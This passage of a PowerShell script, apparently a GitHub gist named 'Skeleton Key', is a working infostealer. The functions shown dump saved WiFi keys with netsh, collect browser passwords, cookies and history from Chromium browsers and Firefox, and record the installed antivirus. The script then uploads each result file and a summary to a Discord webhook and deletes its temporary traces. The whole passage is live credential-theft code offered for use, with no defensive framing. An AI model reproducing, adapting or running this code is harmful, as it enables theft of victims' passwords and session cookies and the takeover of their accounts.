| $urlB = $r[0]; $titleB = $r[1]; $vcB = $r[2]; $lvdB = $r[3] | |
| $url = if ($urlB) { [System.Text.Encoding]::UTF8.GetString($urlB) } else { '' } | |
| $title = if ($titleB) { [System.Text.Encoding]::UTF8.GetString($titleB) } else { '' } | |
| $vc = if ($vcB -and $vcB.Length -ge 4) { [BitConverter]::ToInt32($vcB, 0) } else { 0 } | |
| $lvd = if ($lvdB -and $lvdB.Length -ge 8) { [BitConverter]::ToInt64($lvdB, 0) } else { 0 } | |
| $lastVisit = if ($lvd -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($lvd / 1000000).ToString('yyyy-MM-dd HH:mm:ss') } else { 'N/A' } | |
| $out += [PSCustomObject]@{Url=$url; Title=$title; Visits=$vc; LastVisit=$lastVisit} | |
| } | |
| sklog "Firefox history: $($out.Count)" | |
| return $out | |
| } catch { sklog "Firefox history ERROR: $_"; return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| # ==================== 11. WIFI + AV ==================== | |
| function Get-WiFi { | |
| sklog "Scanning WiFi..." | |
| $out = @() | |
| try { | |
| $profiles = netsh wlan show profiles | Select-String ':\s+(.+)$' | ForEach-Object { $_.Matches.Groups[1].Value } | |
| foreach ($ssid in $profiles) { | |
| try { | |
| $detail = netsh wlan show profile name="$ssid" key=clear | Select-String 'Key Content\s+:\s+(.+)$' | |
| $key = if ($detail) { $detail.Matches.Groups[1].Value } else { '[OPEN]' } | |
| $out += [PSCustomObject]@{SSID=$ssid; Password=$key} | |
| } catch {} | |
| } | |
| sklog "WiFi: $($out.Count) profiles" | |
| } catch { sklog "WiFi ERROR: $_" } | |
| return $out | |
| } | |
| function Get-AVInfo { | |
| try { | |
| $av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | |
| if ($av) { return ($av | ForEach-Object { "$($_.displayName) (State: $($_.productState))" }) -join " | " } | |
| } catch {} | |
| try { | |
| $status = Get-MpComputerStatus -ErrorAction SilentlyContinue | |
| if ($status) { return "Windows Defender (RealTime: $($status.RealTimeProtectionEnabled))" } | |
| } catch {} | |
| return 'Unknown' | |
| } | |
| # ==================== 12. DISCORD UPLOAD ==================== | |
| function Send-ToDiscord { | |
| param([string]$FilePath, [string]$Description) | |
| if (!(Test-Path $FilePath)) { sklog "Upload skip: $FilePath"; return } | |
| if (!$DiscordUrl -or $DiscordUrl -eq 'YOUR_DISCORD_WEBHOOK_HERE') { sklog "Upload skip (no webhook)"; return } | |
| $boundary = [Guid]::NewGuid().ToString() | |
| $lf = "`r`n" | |
| $bodyStart = @" | |
| --$boundary | |
| Content-Disposition: form-data; name="payload_json" | |
| {"content":"**SKELETON KEY** -- $Description","username":"Skeleton Key"} | |
| --$boundary | |
| Content-Disposition: form-data; name="file"; filename="$(Split-Path $FilePath -Leaf)" | |
| "@ | |
| $bodyEnd = "`r`n--$boundary--`r`n" | |
| $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyStart) | |
| $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) | |
| $endBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyEnd) | |
| $fullBody = New-Object byte[] ($bodyBytes.Length + $fileBytes.Length + $endBytes.Length) | |
| [Buffer]::BlockCopy($bodyBytes, 0, $fullBody, 0, $bodyBytes.Length) | |
| [Buffer]::BlockCopy($fileBytes, 0, $fullBody, $bodyBytes.Length, $fileBytes.Length) | |
| [Buffer]::BlockCopy($endBytes, 0, $fullBody, $bodyBytes.Length + $fileBytes.Length, $endBytes.Length) | |
| try { | |
| Invoke-RestMethod -Uri $DiscordUrl -Method Post -ContentType "multipart/form-data; boundary=$boundary" -Body $fullBody -TimeoutSec 30 | Out-Null | |
| sklog "Uploaded: $Description" | |
| } catch { sklog "Upload FAIL: $_" } | |
| } | |
| function Write-ResultsFile { | |
| param([string]$FileName, [array]$Data, [string]$Header) | |
| $path = Join-Path $skOut $FileName | |
| $lines = @() | |
| if ($Header) { $lines += $Header } | |
| if ($Data -and $Data.Count -gt 0) { | |
| $lines += ($Data | ForEach-Object { $_ | Out-String }) -replace '\s+$','' | |
| } else { | |
| $lines += '[No data found]' | |
| } | |
| [System.IO.File]::WriteAllText($path, ($lines -join "`r`n"), [System.Text.Encoding]::UTF8) | |
| } | |
| # ==================== 13. MAIN EXECUTION ==================== | |
| try { | |
| $hostname = $env:COMPUTERNAME | |
| $username = $env:USERNAME | |
| $osInfo = (Get-CimInstance Win32_OperatingSystem).Caption | |
| $avInfo = Get-AVInfo | |
| $timeStr = Get-Date -Format 'yyyy-MM-dd HH:mm:ss' | |
| $sysBanner = "HOST: $hostname`n" + | |
| "USER: $hostname\$username`n" + | |
| "OS: $osInfo`n" + | |
| "AV: $avInfo`n" + | |
| "TIME: $timeStr" | |
| sklog "System: $hostname / $username / $osInfo" | |
| $wifiData = Get-WiFi | |
| $allPasswords = @() | |
| $allCookies = @() | |
| $allHistory = @() | |
| foreach ($browser in $ChromiumBrowsers) { | |
| if (!(Test-Path $browser.Path)) { continue } | |
| sklog "Processing: $($browser.Name)..." | |
| try { $allPasswords += Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "PASS FATAL ($($browser.Name)): $_" } | |
| try { $allCookies += Get-ChromiumCookies -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "COOK FATAL ($($browser.Name)): $_" } | |
| try { $allHistory += Get-ChromiumHistory -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "HIST FATAL ($($browser.Name)): $_" } | |
| } | |
| $ffProfile = Get-FirefoxProfilePath | |
| if ($ffProfile) { | |
| sklog "Processing Firefox: $ffProfile" | |
| $ffPasswords = Get-FirefoxPasswords | |
| $ffCookies = Get-FirefoxCookies | |
| $ffHistory = Get-FirefoxHistory | |
| if ($ffPasswords) { $allPasswords += $ffPasswords } | |
| if ($ffCookies) { $allCookies += $ffCookies } | |
| if ($ffHistory) { $allHistory += $ffHistory } | |
| } | |
| Write-ResultsFile -FileName 'system.txt' -Data @($sysBanner) -Header '' | |
| Write-ResultsFile -FileName 'wifi.txt' -Data $wifiData -Header "SSID`tPassword`n---`t---" | |
| Write-ResultsFile -FileName 'passwords.txt' -Data $allPasswords -Header "URL`tUsername`tPassword`tBrowser`n---`t---`t---`t---" | |
| Write-ResultsFile -FileName 'cookies.txt' -Data $allCookies -Header "Host`tName`tValue`tPath`tExpires`tSecure`tHttpOnly`n---`t---`t---`t---`t---`t---`t---" | |
| Write-ResultsFile -FileName 'history.txt' -Data $allHistory -Header "URL`tTitle`tVisits`tLastVisit`n---`t---`t---`t---" | |
| sklog "Uploading to Discord..." | |
| Send-ToDiscord -FilePath "$skOut\system.txt" -Description "System Info" | |
| Send-ToDiscord -FilePath "$skOut\wifi.txt" -Description "WiFi Passwords" | |
| Send-ToDiscord -FilePath "$skOut\passwords.txt" -Description "Browser Passwords ($($allPasswords.Count) entries)" | |
| Send-ToDiscord -FilePath "$skOut\cookies.txt" -Description "Browser Cookies ($($allCookies.Count) entries)" | |
| Send-ToDiscord -FilePath "$skOut\history.txt" -Description "Browser History ($($allHistory.Count) entries)" | |
| $pwCount = $allPasswords.Count | |
| $ckCount = $allCookies.Count | |
| $hiCount = $allHistory.Count | |
| $wfCount = $wifiData.Count | |
| $summaryText = "**SKELETON KEY - Extraction Complete**``````" + $sysBanner + "``````" + | |
| "PASSWORDS : $pwCount entries`n" + | |
| "COOKIES : $ckCount entries`n" + | |
| "HISTORY : $hiCount entries`n" + | |
| "WIFI : $wfCount profiles" | |
| if ($DiscordUrl -and $DiscordUrl -ne 'YOUR_DISCORD_WEBHOOK_HERE') { | |
| try { Invoke-RestMethod -Uri $DiscordUrl -Method Post -Body @{content=$summaryText} -TimeoutSec 10 | Out-Null } catch { sklog "Summary fail: $_" } | |
| } | |
| sklog "=== EXTRACTION COMPLETE ===" | |
| } catch { | |
| sklog "FATAL ERROR: $_" | |
| } finally { | |
| Send-ToDiscord -FilePath $skLog -Description "Debug Log" | |
| '' | Out-File -FilePath $skSig -Force -Encoding ASCII | |
| Start-Sleep -Seconds 3 | |
| if ($animProc -and !$animProc.HasExited) { try { $animProc.Kill() } catch {} } | |
| Remove-Item $skTemp -Recurse -Force -ErrorAction SilentlyContinue | |
| Remove-Item $skSig -Force -ErrorAction SilentlyContinue | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment